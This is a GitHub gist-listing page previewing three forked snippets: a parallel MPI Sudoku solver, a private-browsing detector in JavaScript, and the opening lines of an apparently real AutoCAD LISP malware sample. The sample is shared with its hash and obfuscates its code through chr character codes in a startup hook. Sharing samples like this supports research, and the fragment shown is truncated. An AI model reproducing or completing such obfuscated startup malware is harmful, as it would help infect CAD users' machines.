Skip to content

Instantly share code, notes, and snippets.

View ksaj's full-sized avatar
👾
Spring is almost here!

Karsten Johansson ksaj

👾
Spring is almost here!
  • <a rel="me" href="https://infosec.exchange/@ksaj">Mastodon</a>
  • Toronto, Canada
  • X @IntruderVS1400
View GitHub Profile
@ksaj
ksaj / AutoCAD LISP Malware
Created January 20, 2019 00:00 — forked from JohnLaTwC/AutoCAD LISP Malware
AutoCAD LISP Malware
## Uploaded by @JohnLaTwC
## AutoCAD LISP Malware
###################################################################
## 332ca1146b1478cc9ddda9be07815a48071b9e83081eb995f33379385d3258f2
(setq s::startup nil)
(setq *startup* (strcat (chr 40)
(chr 115)
(chr 101)
(chr 116)
@ksaj
ksaj / sudoku_solver.c
Created August 9, 2018 23:29 — forked from mtnoztrk/sudoku_solver.c
Parallel Sudoku Solver
/*********************************************
* Rearranged by Metin ÖZTÜRK
* Parallel Programming Homework III
**********************************************/
#include <stdio.h>
#include <math.h>
#include <stdbool.h>
#include <stdlib.h>
#include "mpi.h"
@ksaj
ksaj / detect-private-browsing.js
Created April 4, 2018 03:05 — forked from cou929/detect-private-browsing.js
Detect private browsing mode (InPrivate Browsing or Incognito).
function retry(isDone, next) {
var current_trial = 0, max_retry = 50, interval = 10, is_timeout = false;
var id = window.setInterval(
function() {
if (isDone()) {
window.clearInterval(id);
next(is_timeout);
}
if (current_trial++ > max_retry) {
window.clearInterval(id);